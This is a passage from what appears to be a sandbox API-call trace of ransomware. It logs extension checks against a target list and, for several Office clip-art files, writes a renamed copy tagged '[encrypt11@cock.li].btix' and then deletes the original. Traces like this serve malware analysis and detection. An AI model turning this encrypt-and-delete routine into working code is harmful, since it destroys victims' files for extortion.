Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.431] lstrlenW (lpString=".dbf") returned 4 [0148.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.431] lstrlenW (lpString=".1cd") returned 4 [0148.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0148.431] lstrlenW (lpString=".jpg") returned 4 [0148.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.431] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.431] lstrlenW (lpString="IN00233_.WMF") returned 12 [0148.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.432] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=11190) returned 1 [0148.432] CloseHandle (hObject=0x374) returned 1 [0148.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0148.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.432] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.432] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.432] GetLastError () returned 0x0 [0148.432] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0148.433] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0148.434] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.434] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.434] SetEndOfFile (hFile=0x378) returned 1 [0148.434] CloseHandle (hObject=0x378) returned 1 [0148.434] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.435] SetEndOfFile (hFile=0x374) returned 1 [0148.435] CloseHandle (hObject=0x374) returned 1 [0148.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0148.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.436] lstrlenW (lpString=".doc") returned 4 [0148.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.436] lstrlenW (lpString=".docx") returned 5 [0148.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.436] lstrlenW (lpString=".pdf") returned 4 [0148.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.436] lstrlenW (lpString=".xls") returned 4 [0148.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.436] lstrlenW (lpString=".xlsx") returned 5 [0148.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.436] lstrlenW (lpString=".ppt") returned 4 [0148.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.436] lstrlenW (lpString=".zip") returned 4 [0148.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.436] lstrlenW (lpString=".rar") returned 4 [0148.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.436] lstrlenW (lpString=".bz2") returned 4 [0148.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.436] lstrlenW (lpString=".7z") returned 3 [0148.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.436] lstrlenW (lpString=".dbf") returned 4 [0148.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.436] lstrlenW (lpString=".1cd") returned 4 [0148.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.437] lstrlenW (lpString=".jpg") returned 4 [0148.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.437] lstrlenW (lpString=".doc") returned 4 [0148.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.437] lstrlenW (lpString=".docx") returned 5 [0148.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.437] lstrlenW (lpString=".pdf") returned 4 [0148.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.437] lstrlenW (lpString=".xls") returned 4 [0148.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.437] lstrlenW (lpString=".xlsx") returned 5 [0148.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.437] lstrlenW (lpString=".ppt") returned 4 [0148.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.437] lstrlenW (lpString=".zip") returned 4 [0148.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.437] lstrlenW (lpString=".rar") returned 4 [0148.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.437] lstrlenW (lpString=".bz2") returned 4 [0148.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.437] lstrlenW (lpString=".7z") returned 3 [0148.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.437] lstrlenW (lpString=".dbf") returned 4 [0148.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.437] lstrlenW (lpString=".1cd") returned 4 [0148.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0148.437] lstrlenW (lpString=".jpg") returned 4 [0148.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.438] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.438] lstrlenW (lpString="IN00343_.WMF") returned 12 [0148.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.438] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=1892) returned 1 [0148.438] CloseHandle (hObject=0x374) returned 1 [0148.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0148.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.438] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.438] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.439] GetLastError () returned 0x0 [0148.439] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x764, lpOverlapped=0x0) returned 1 [0148.439] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x770, lpOverlapped=0x0) returned 1 [0148.440] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.440] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.440] SetEndOfFile (hFile=0x378) returned 1 [0148.440] CloseHandle (hObject=0x378) returned 1 [0148.441] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.441] SetEndOfFile (hFile=0x374) returned 1 [0148.441] CloseHandle (hObject=0x374) returned 1 [0148.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0148.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.442] lstrlenW (lpString=".doc") returned 4 [0148.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.442] lstrlenW (lpString=".docx") returned 5 [0148.442] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.442] lstrlenW (lpString=".pdf") returned 4 [0148.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.442] lstrlenW (lpString=".xls") returned 4 [0148.442] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.442] lstrlenW (lpString=".xlsx") returned 5 [0148.442] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.442] lstrlenW (lpString=".ppt") returned 4 [0148.442] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.442] lstrlenW (lpString=".zip") returned 4 [0148.442] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.442] lstrlenW (lpString=".rar") returned 4 [0148.442] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.442] lstrlenW (lpString=".bz2") returned 4 [0148.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.442] lstrlenW (lpString=".7z") returned 3 [0148.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.442] lstrlenW (lpString=".dbf") returned 4 [0148.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.443] lstrlenW (lpString=".1cd") returned 4 [0148.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.443] lstrlenW (lpString=".jpg") returned 4 [0148.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.443] lstrlenW (lpString=".doc") returned 4 [0148.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.443] lstrlenW (lpString=".docx") returned 5 [0148.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.443] lstrlenW (lpString=".pdf") returned 4 [0148.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.443] lstrlenW (lpString=".xls") returned 4 [0148.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.443] lstrlenW (lpString=".xlsx") returned 5 [0148.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.443] lstrlenW (lpString=".ppt") returned 4 [0148.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.443] lstrlenW (lpString=".zip") returned 4 [0148.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.443] lstrlenW (lpString=".rar") returned 4 [0148.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.443] lstrlenW (lpString=".bz2") returned 4 [0148.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.444] lstrlenW (lpString=".7z") returned 3 [0148.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.444] lstrlenW (lpString=".dbf") returned 4 [0148.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.444] lstrlenW (lpString=".1cd") returned 4 [0148.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0148.444] lstrlenW (lpString=".jpg") returned 4 [0148.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.444] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.444] lstrlenW (lpString="IN00346_.WMF") returned 12 [0148.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.444] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=696) returned 1 [0148.444] CloseHandle (hObject=0x374) returned 1 [0148.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0148.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.445] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.445] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.445] GetLastError () returned 0x0 [0148.445] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x2b8, lpOverlapped=0x0) returned 1 [0148.446] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x2c0, lpOverlapped=0x0) returned 1 [0148.817] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.817] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.817] SetEndOfFile (hFile=0x378) returned 1 [0148.817] CloseHandle (hObject=0x378) returned 1 [0148.817] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.817] SetEndOfFile (hFile=0x374) returned 1 [0148.823] CloseHandle (hObject=0x374) returned 1 [0148.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0148.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.824] lstrlenW (lpString=".doc") returned 4 [0148.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.824] lstrlenW (lpString=".docx") returned 5 [0148.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.824] lstrlenW (lpString=".pdf") returned 4 [0148.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.824] lstrlenW (lpString=".xls") returned 4 [0148.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.824] lstrlenW (lpString=".xlsx") returned 5 [0148.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.824] lstrlenW (lpString=".ppt") returned 4 [0148.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.824] lstrlenW (lpString=".zip") returned 4 [0148.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.824] lstrlenW (lpString=".rar") returned 4 [0148.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.824] lstrlenW (lpString=".bz2") returned 4 [0148.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.824] lstrlenW (lpString=".7z") returned 3 [0148.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.825] lstrlenW (lpString=".dbf") returned 4 [0148.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.825] lstrlenW (lpString=".1cd") returned 4 [0148.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.825] lstrlenW (lpString=".jpg") returned 4 [0148.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.825] lstrlenW (lpString=".doc") returned 4 [0148.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.825] lstrlenW (lpString=".docx") returned 5 [0148.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.825] lstrlenW (lpString=".pdf") returned 4 [0148.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.825] lstrlenW (lpString=".xls") returned 4 [0148.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.825] lstrlenW (lpString=".xlsx") returned 5 [0148.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.825] lstrlenW (lpString=".ppt") returned 4 [0148.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.825] lstrlenW (lpString=".zip") returned 4 [0148.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.825] lstrlenW (lpString=".rar") returned 4 [0148.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.825] lstrlenW (lpString=".bz2") returned 4 [0148.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.825] lstrlenW (lpString=".7z") returned 3 [0148.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.825] lstrlenW (lpString=".dbf") returned 4 [0148.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0148.826] lstrlenW (lpString=".1cd") returned 4 [0148.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 